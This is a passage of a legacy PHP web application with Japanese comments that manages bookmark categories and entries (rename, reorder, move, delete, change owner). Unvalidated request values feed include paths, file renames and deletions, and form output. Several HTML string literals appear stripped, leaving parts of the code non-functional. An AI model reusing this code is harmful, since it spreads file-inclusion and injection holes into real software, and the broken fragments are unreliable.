substr($_REQUEST['tool'], -3); // ファイルリスト・ファイルを更新 $listfile = _InfoCreateFilelistFilePath($parent_dir); _FileLockStart($listfile); include($listfile); $keys = array_keys($dirs); $ksize = sizeof($keys); for ($i = 0; $i < $ksize; ++$i) { if ($keys[$i] == $target_dir) { $dirs[$keys[$i]]['name'] = $_REQUEST['name']; } } _FileWriteVars($listfile, array('dirs' => $dirs, 'files' => $files, 'total_files' => $total_files, 'uid' => $uid)); // ディレクトリ・リストを作成 _InfoCreateDirListFile(); } function _InfoToLower($mode) { $parent_dir = _InfoShortenDirName($_REQUEST['tool']); $target = substr($_REQUEST['tool'], -3); $type = (is_numeric($target{0}) ? 'dir' : 'file'); // ファイルリスト・ファイルを更新 $listfile = _InfoCreateFilelistFilePath($parent_dir); _FileLockStart($listfile); include($listfile); $need_rebuild = false; if ($mode == 'to_lower') { if ($type == 'dir') { $dirs = _InfoToLowerArray($dirs, $target); $need_rebuild = true; } else { $files = _InfoToLowerArray($files, $target); } } else { if ($type == 'dir') { $dirs = _InfoToUpperArray($dirs, $target); $need_rebuild = true; } else { $files = _InfoToUpperArray($files, $target); } } _FileWriteVars($listfile, array('dirs' => $dirs, 'files' => $files, 'total_files' => $total_files, 'uid' => $uid)); if ($need_rebuild) { _InfoCreateDirListFile(); } } function _InfoToLowerArray($array, $infono) { $new_array = array(); $keys = array_keys($array); $ksize = sizeof($keys); for ($i = 0; $i < $ksize; ++$i) { if ($keys[$i] == $infono) { $target_key = $keys[$i]; $target_value = $array[$keys[$i]]; } elseif (isset($target_key)) { $new_array[$keys[$i]] = $array[$keys[$i]]; $new_array[$target_key] = $target_value; unset($target_key); } else { $new_array[$keys[$i]] = $array[$keys[$i]]; } } return($new_array); } function _InfoToUpperArray($array, $infono) { $new_array = array(); $found = false; $prev_key = $prev_value = ''; $keys = array_keys($array); $ksize = sizeof($keys); for ($i = 0; $i < $ksize; ++$i) { if ($found) { $new_array[$keys[$i]] = $array[$keys[$i]]; } elseif ($keys[$i] == $infono) { $new_array[$keys[$i]] = $array[$keys[$i]]; $new_array[$prev_key] = $prev_value; $found = true; } else { if ($prev_key) { $new_array[$prev_key] = $prev_value; } $prev_key = $keys[$i]; $prev_value = $array[$keys[$i]]; } } return($new_array); } function _InfoChangeOwner() { $parent_dir = _InfoShortenDirName($_REQUEST['tool']); $target = substr($_REQUEST['tool'], -3); // ファイルリスト・ファイルを更新 $listfile = _InfoCreateFilelistFilePath($parent_dir); _FileLockStart($listfile); include($listfile); if ($_REQUEST['type'] == 'category') { $dirs = _InfoChangeOwnerFromArray($dirs, $parent_dir, $target); } elseif ($_REQUEST['type'] == 'file') { $files = _InfoChangeOwnerFromArray($files, $parent_dir, $target); } _FileWriteVars($listfile, array('dirs' => $dirs, 'files' => $files, 'total_files' => $total_files, 'uid' => $uid)); // ディレクトリ・リスト・ファイル if ($_REQUEST['type'] == 'category') { $dfile = _InfoCreateDirListFilePath(); _FileLockStart($dfile); include($dfile); $dirs_keys = array_keys($all_dirs); $dirs_keys_max = sizeof($dirs_keys); for ($i = 0; $i < $dirs_keys_max; ++$i) { $key = $dirs_keys[$i]; if (strncmp($key, $_REQUEST['tool'], strlen($_REQUEST['tool'])) == 0) { $all_dirs[$key]['uid'] = $_REQUEST['uid']; } } _FileWriteVars($dfile, array('all_dirs' => $all_dirs)); } } function _InfoChangeOwnerFromArray($array, $parent, $infono = '') { $keys = array_keys($array); $ksize = sizeof($keys); for ($i = 0; $i < $ksize; ++$i) { if ($infono == '' || $keys[$i] == $infono) { $array[$keys[$i]]['uid'] = $_REQUEST['uid']; $fullpath = _InfoCreateRealPathFromNo($parent . $keys[$i]); // カテゴリなら、サブカテゴリも全て変更する if (is_dir($fullpath)) { _InfoChangeOwnerFromDir($parent . $keys[$i]); // ファイルならファイルも変更する } else { _InfoChangeOwnerFromFile($fullpath); } break; } } return($array); } function _InfoChangeOwnerFromFile($file) { _FileLockStart($file); include($file); $info['uid'] = $_REQUEST['uid']; _FileWriteVars($file, array('info' => $info)); } function _InfoChangeOwnerFromDir($infono) { $listfile = _InfoCreateFilelistFilePath($infono); _FileLockStart($listfile); include($listfile); // カテゴリ $keys = array_keys($dirs); $ksize = sizeof($keys); for ($i = 0; $i < $ksize; ++$i) { $dirs[$keys[$i]]['uid'] = $_REQUEST['uid']; _InfoChangeOwnerFromDir($infono . $keys[$i]); } // ファイル $keys = array_keys($files); $ksize = sizeof($keys); for ($i = 0; $i < $ksize; ++$i) { $files[$keys[$i]]['uid'] = $_REQUEST['uid']; $fullpath = _InfoCreateRealPathFromNo($infono . $keys[$i]); _InfoChangeOwnerFromFile($fullpath); } _FileWriteVars($listfile, array('dirs' => $dirs, 'files' => $files, 'total_files' => $total_files, 'uid' => $uid)); } function _InfoCreateDeleteForm() { // 対象カテゴリ・ファイルのタイプを調べる $self = substr($_REQUEST['tool'], -3); if (is_numeric($self{0})) { $type = 'category'; // タイプは2種類 } else { $type = 'file'; } return( _HtagPostFormStart($_REQUEST['D'], $_REQUEST['F']) . _HtagInput('hidden', 'mode', $_REQUEST['mode']) . _HtagInput('hidden', 'confirmed', 1) . _HtagInput('hidden', 'tool', $_REQUEST['tool']) . _HtagInput('hidden', 'type', $type) . '本当に削除しますか?

' . '

' . _HtagInput('submit', 'submit', '実行') . _HtagFormStop() ); } function _InfoMove() { $parent_dir = _InfoShortenDirName($_REQUEST['tool']); $target = substr($_REQUEST['tool'], -3); // ファイルリスト・ファイルを更新 $listfile = _InfoCreateFilelistFilePath($parent_dir); _FileLockStart($listfile); include($listfile); if ($_REQUEST['type'] == 'category') { $to_file = _InfoCreateNewCategoryNo($_REQUEST['moveto']); $dirs = _InfoMoveFromArray($dirs, $parent_dir, $target, $to_file); $total_files -= $GLOBALS['BOOKMARK_MOVE_DELETED_FILES']; } elseif ($_REQUEST['type'] == 'file') { $type = substr($_REQUEST['tool'], -3, 1); $to_file = _InfoCreateNewFileNo($_REQUEST['moveto'], $type); $files = _InfoMoveFromArray($files, $parent_dir, $target, $to_file); --$total_files; } _FileWriteVars($listfile, array('dirs' => $dirs, 'files' => $files, 'total_files' => $total_files, 'uid' => $uid)); _InfoRecount($parent_dir . $GLOBALS['BOOKMARK_MOVE_KEY']); // 異動先のファイルリスト・ファイルを更新 $listfile = _InfoCreateFilelistFilePath($_REQUEST['moveto']); _FileLockStart($listfile); include($listfile); if ($_REQUEST['type'] == 'category') { $dirs[$GLOBALS['BOOKMARK_MOVE_KEY']] = array( 'name'=> $GLOBALS['BOOKMARK_MOVE_VALUE'], 'uid' => $GLOBALS['BOOKMARK_MOVE_UID'], 'vote' => $GLOBALS['BOOKMARK_MOVE_VOTE'], ); } elseif ($_REQUEST['type'] == 'file') { $files[$GLOBALS['BOOKMARK_MOVE_KEY']] = array( 'name' => $GLOBALS['BOOKMARK_MOVE_VALUE'], 'uid' => $GLOBALS['BOOKMARK_MOVE_UID'], 'vote' => $GLOBALS['BOOKMARK_MOVE_VOTE'], ); ++$total_files; } _FileWriteVars($listfile, array('dirs' => $dirs, 'files' => $files, 'total_files' => $total_files, 'uid' => $uid)); _InfoRecount($_REQUEST['moveto'] . $GLOBALS['BOOKMARK_MOVE_KEY']); // ディレクトリ・リストを作成 _InfoCreateDirListFile(); } function _InfoMoveFromArray($array, $parent, $infono, $to_file) { $keys = array_keys($array); $ksize = sizeof($keys); for ($i = 0; $i < $ksize; ++$i) { if ($keys[$i] == $infono) { $value = $array[$keys[$i]]; $GLOBALS['BOOKMARK_MOVE_KEY'] = $to_file; $GLOBALS['BOOKMARK_MOVE_VALUE'] = $value['name']; $GLOBALS['BOOKMARK_MOVE_UID'] = $value['uid']; $GLOBALS['BOOKMARK_MOVE_VOTE'] = (isset($value['vote']) ? $value['vote'] : ''); unset($array[$infono]); $from = _InfoCreateRealPathFromNo($parent . $infono); $to = _InfoCreateRealPathFromNo($_REQUEST['moveto'] . $to_file); rename($from, $to); // infono を修正する if ($_REQUEST['type'] == 'category') { // カテゴリ $from = $parent . $infono; $to = $_REQUEST['moveto'] . $to_file; // 詳細内容のファイルを再帰的に _InfoMoveChangeCategoryInfono($from, $to); // キーワード・リストと書籍リスト $file = _InfoCreateKeywordFilePath(); _InfoMoveModifyKeywordList($file, $from, $to); $file = _InfoCreateBooklistFilePath(); _InfoMoveModifyKeywordList($file, $from, $to); } else { // ファイル // 詳細内容のファイル $file = _InfoCreateRealPathFromNo($_REQUEST['moveto'] . $to_file); include($file); // キーワード if ($info['keyword']) { _InfoCreateKeywordFile($info['type'], $parent . $infono, ''); _InfoCreateKeywordFile($info['type'], $_REQUEST['moveto'] . $to_file, $info['keyword']); } $info['infono'] = $_REQUEST['moveto'] . $to_file; if ($info['attach']) { // 添付ファイル $info['attach'] = _InfoMoveAttachFile($info['attach'], $info['infono']); } _FileWriteVars($file, array('info' => $info)); } break; } } return($array); } function _InfoMoveModifyKeywordList($file, $from, $to) { $from_str_len = strlen($from); _FileLockStart($file); include($file); $need_save = false; $kkeys = array_keys($keys); $kksize = sizeof($kkeys); for ($i = 0; $i < $kksize; ++$i) { if (strcmp(substr($keys[$kkeys[$i]], 0, $from_str_len), $from) == 0) { $keys[$kkeys[$i]] = $to . substr($keys[$kkeys[$i]], $from_str_len); $need_save = true; } } if ($need_save) { _FileWriteVars($file, array('keys' => $keys)); } else { _FileLockStop($file); } } function _InfoMoveAttachFile($old, $new_filename) { $to = _InfoCreateAttachFileNamePath($new_filename) . substr($old, strrpos($old, '.')); rename($old, $to); return($to); } function _InfoMoveChangeCategoryInfono($from, $to) { include(_InfoCreateFilelistFilePath($to)); // 元のファイルリスト・ファイルから減算するため if (empty($GLOBALS['BOOKMARK_MOVE_DELETED_FILES'])) { $GLOBALS['BOOKMARK_MOVE_DELETED_FILES'] = $total_files; } // 詳細内容ファイルの infono $keys = array_keys($files); $ksize = sizeof($keys); for ($i = 0; $i < $ksize; ++$i) { $file = _InfoCreateRealPathFromNo($to . $keys[$i]); _FileLockStart($file); include($file); $info['infono'] = $to . substr($info['infono'], strlen($from)); if ($info['attach']) { // 添付ファイル $info['attach'] = _InfoMoveAttachFile($info['attach'], $info['infono']); } _FileWriteVars($file, array('info' => $info)); } // カテゴリは再帰的に $keys = array_keys($dirs); $ksize = sizeof($keys); for ($i = 0; $i < $ksize; ++$i) { _InfoMoveChangeCategoryInfono($from . $keys[$i], $to . $keys[$i]); } } function _InfoCreateNewCategoryNo($dir) { for ($i = 1; $i < $GLOBALS['INFO_MAX_FILES_PER_DIR']; ++$i) { $new = sprintf("%03d", $i); $fullpath = _InfoCreateRealPathFromNo($dir . $new); if (! is_dir($fullpath)) { return($new); } } _Error('このカテゴリには、これ以上追加できません'); } function _InfoCreateRenameForm() { $parent = _InfoShortenDirName($_REQUEST['tool']); include(_InfoCreateFilelistFilePath($parent)); $target = substr($_REQUEST['tool'], -3); return( _HtagPostFormStart($_REQUEST['D'], $_REQUEST['F'], '', 'name') . _HtagInput('hidden', 'mode', $_REQUEST['mode']) . _HtagInput('hidden', 'confirmed', 1) . _HtagInput('hidden', 'tool', $_REQUEST['tool']) . '新しいカテゴリ名:
' . _HtagInput('text', 'name', $dirs[$target]['name'], 40) . '

' . _HtagInput('submit', 'submit', '実行') . _HtagFormStop() ); } function _InfoDelete() { $parent_dir = _InfoShortenDirName($_REQUEST['tool']); $target_dir = substr($_REQUEST['tool'], -3); // ファイルリスト・ファイルを更新 $listfile = _InfoCreateFilelistFilePath($parent_dir); _FileLockStart($listfile); include($listfile); if ($_REQUEST['type'] == 'category') { $dirs = _InfoDeleteArray($dirs, $parent_dir, $target_dir, $listfile); } elseif ($_REQUEST['type'] == 'file') { $files = _InfoDeleteArray($files, $parent_dir, $target_dir, $listfile); --$total_files; } _FileWriteVars($listfile, array('dirs' => $dirs, 'files' => $files, 'total_files' => $total_files, 'uid' => $uid)); // 登録数を更新 _InfoRecount($_REQUEST['tool']); // ディレクトリ・リストを作成 if ($_REQUEST['type'] == 'category') { _InfoCreateDirListFile(); } } function _InfoDeleteArray($array, $parent, $infono, $file) { $keys = array_keys($array); $ksize = sizeof($keys); for ($i = 0; $i < $ksize; ++$i) { if ($keys[$i] == $infono) { $fullpath = _InfoCreateRealPathFromNo($parent . $infono); if (is_dir($fullpath)) { // サブディレクトリの中身を調べる $listfile = _InfoCreateFilelistFilePath($parent . $infono); include($listfile); if ((sizeof($dirs) + sizeof($files)) > 0) { _FileLockStop($listfile); _Error('カテゴリが空ではありません'); } else { unlink($listfile); rmdir($fullpath); } } else { // 添付ファイル include($fullpath); if ($info['attach']) { unlink($info['attach']); } unlink($fullpath); _InfoCreateKeywordFile($info['type'], $parent . $infono, ''); } unset($array[$keys[$i]]); break; } } return($array); } function _InfoCreateMoveForm() { // 対象カテゴリ・ファイルの UID と タイプを調べる $parent_c = _InfoShortenDirName($_REQUEST['tool']); $self = substr($_REQUEST['tool'], -3); include(_InfoCreateFilelistFilePath($parent_c)); if (is_numeric($self{0})) { $type = 'category'; // タイプは2種類 $uid = $dirs[$self]['uid']; } else { $type = 'file'; $uid = $files[$self]['uid']; } // 選択肢を作成 include(_InfoCreateDirListFilePath()); $options = ''; $admin_mark = _AdminCheck(D_ADMIN_B); $keys = array_keys($all_dirs); $ksize = sizeof($keys); for ($i = 0; $i < $ksize; ++$i) { // UID が一致していることが条件 if ($admin_mark || strcmp($uid, $all_dirs[$keys[$i]]['uid']) == 0) { if (substr($keys[$i], 0, strlen($_REQUEST['tool'])) != $_REQUEST['tool']) { $options .= ''; } } } if ($options) { $form = _HtagPostFormStart($_REQUEST['D'], $_REQUEST['F']) . _HtagInput('hidden', 'mode', $_REQUEST['mode']) . _HtagInput('hidden', 'confirmed', 1) . _HtagInput('hidden', 'tool', $_REQUEST['tool']) . _HtagInput('hidden', 'type', $type) . '異動先のカテゴリ:
' . '' . '

' . _HtagInput('submit', 'submit', '実行') . _HtagFormStop(); } else { $form = "移動可能なカテゴリはありません

"; } return($form); } function _InfoCreateRightIcons() { $icons = ''; $icons .= _InfoCreateRightHelpLine($GLOBALS['IMAGE_FOLDER_CLOSED'], 'カテゴリ'); $icons .= _InfoCreateRightHelpLine(' ', '()内は情報数'); $keys = array_keys($GLOBALS['INFO_FILE_TYPE']); $ksize = sizeof($keys); for ($i = 0; $i < $ksize; ++$i) { $icons .= _InfoCreateRightHelpLine($GLOBALS['INFO_FILE_TYPE_ICON'][$keys[$i]], $GLOBALS['INFO_FILE_TYPE'][$keys[$i]]); } $icons .= _InfoCreateRightHelpLine($GLOBALS['IMAGE_FILE_IMAGE'], '画像付き'); $icons .= _InfoCreateRightHelpLine($GLOBALS['IMAGE_FILE_SHOCKWAVE'], 'Flash'); $icons .= _InfoCreateRightHelpLine($GLOBALS['IMAGE_FILE_REAL'], 'Real'); $icons .= _InfoCreateRightHelpLine($GLOBALS['IMAGE_PDF'], 'PDF'); $icons .= '
'; return($icons); } function _InfoCreateRightHelpLine($icon, $str) { return('' . $icon . '' . $str . ''); } function _InfoCreateOwnerName($uid, $admin = '') { if (empty($GLOBALS['INFO_UID_NAME_LIST']) || empty($GLOBALS['INFO_UID_NAME_LIST'][$uid])) { $file = _UserCreateUserFilePathFromId($uid); if (is_file($file)) { include($file); $name = _UserCreateWhoLink($uinfo['name'], $uid, $GLOBALS['C_GREEN']); $GLOBALS['INFO_UID_NAME_LIST'][$uid] = ' 〔' . $admin . $name . '〕 '; } else { _Error('該当する所有者が見つかりませんでした:' . $uid); } } return($GLOBALS['INFO_UID_NAME_LIST'][$uid]); } function _UserCreateUserFilePathFromId($id) { $file = _UserCreateResolveFilePath($id); if (is_file($file)) { include($file); if (isset($user_id_array[$id])) { return(_UserCreateFileNamePath($user_id_array[$id])); } else { return(''); } } else { return(''); } } function _InfoCreateItemList($files, $category_no, $indent) { $files_keys = array_keys($files); $files_keys_max = sizeof($files_keys); for ($i = 0; $i < $files_keys_max; ++$i) { $key = $files_keys[$i]; $val = $files[$key]; $type = $key{0}; $img = $GLOBALS['INFO_FILE_TYPE_ICON'][$type]; $str = _StringNP($val['name']); if (isset($_REQUEST['tool']) && $_REQUEST['tool'] == $category_no . $key) { $str = '' . $str . ''; } // URL へのリンク if ($type == 'l') { if (strcmp(substr($str, 0, 5), '[PDF]') == 0) { // PDF $str = $GLOBALS['IMAGE_PDF'] . substr($str, 5); } include(_InfoCreateRealPathFromNo($category_no . $key)); $str = _HtagAhrefOutsideUrl($str, $info['url']); if ($info['content']) { $str .= ' - ' . $info['content'] . ''; } // 書籍、メモ } elseif ($type == 'b' || $type == 'd') { $str = _HtagAhref($str, $_REQUEST['D'], 'view', array('infono' => $category_no . $key)); // 画像 if (isset($val['attach_type'])) { $str .= ' '; $str .= _ImageGetFileType($val['attach_type']); $str .= '(' . $val['attach_size'] . ')'; $str .= ''; } } // 役に立った if ($val['vote'] >= $GLOBALS['INFO_USEFUL_MINIMUM_VOTE']) { $str .= ' ' . $GLOBALS['IMAGE_HEART_SYMP_3']; } // 管理者・所有者なら修正ツールを表示する $admin_mark = _AdminCheck(D_ADMIN_B); if (! $admin_mark && strcmp($val['uid'], $GLOBALS['S']['uid']) == 0) { $admin_mark = $GLOBALS['IMAGE_ADMIN_ONLY']; } if ($admin_mark) { $str .= _InfoCreateOwnerName($val['uid']); $str .= ' '; $str .= _HtagAhref($admin_mark, $_REQUEST['D'], $_REQUEST['F'], array('open' => $category_no, 'tool' => $category_no . $key, 'mode' => 'modify')); } $GLOBALS['Bc'] .= _InfoCreateLine($indent, $img, $str); } return($files_keys_max); } function _ImageGetFileType($type) { // リアル if (strcmp($type, '.rm') == 0) { return($GLOBALS['IMAGE_FILE_REAL']); // フラッシュ } elseif (strcmp($type, '.swf') == 0) { return($GLOBALS['IMAGE_FILE_SHOCKWAVE']); // PDF } elseif (strcmp($type, '.pdf') == 0) { return($GLOBALS['IMAGE_PDF']); // その他画像 } else { return($GLOBALS['IMAGE_FILE_IMAGE']); } } function _InfoCreateCategoryList($categorys, $use_indent, $use_open) { $admin_mark = _AdminCheck(D_ADMIN_B); $categorys_keys = array_keys($categorys); $categorys_keys_max = sizeof($categorys_keys); for ($i = 0; $i < $categorys_keys_max; ++$i) { $key = $categorys_keys[$i]; $val = $categorys[$key]; // インデントの深さ $indent = ($use_indent ? (strlen($key) / 3) - 1 : 0); // 先頭の画像 if (! $use_open) { $img = $GLOBALS['IMAGE_FOLDER_CLOSED']; } elseif (isset($_REQUEST['open']) && $_REQUEST['open'] == $key) { $img = _HtagAhref($GLOBALS['IMAGE_FOLDER_OPEN'], $_REQUEST['D'], $_REQUEST['F']); } else { $img = _HtagAhref($GLOBALS['IMAGE_FOLDER_CLOSED'], $_REQUEST['D'], $_REQUEST['F'], array('open' => $key)); } // フォルダ名 $name_array = explode('>', $val['name']); $str = _StringNP(array_pop($name_array)); if (isset($_REQUEST['tool']) && $_REQUEST['tool'] == $key) { $str = '' . $str . ''; } $str = _HtagAhref($str, $_REQUEST['D'], 'dview', array('open' => $key)); // 文書数 include(_InfoCreateFilelistFilePath($key)); $str .= '(' . $total_files . ')'; // 管理者・所有者なら修正ツールを表示する if (! $admin_mark && strcmp($uid, $GLOBALS['S']['uid']) == 0) { $admin_mark = $GLOBALS['IMAGE_ADMIN_ONLY']; } if ($admin_mark) { $str .= _InfoCreateOwnerName($val['uid']); $str .= ' '; $str .= _HtagAhref($admin_mark, $_REQUEST['D'], $_REQUEST['F'], array('tool' => $key, 'mode' => 'rename')); } _InfoCreateLine($indent, $img, $str); // フォルダが開かれているか if ($use_open && isset($_REQUEST['open']) && $_REQUEST['open'] == $key) { _InfoCreateItemList($files, $key, $indent + 1); } } return($categorys_keys_max); } ?>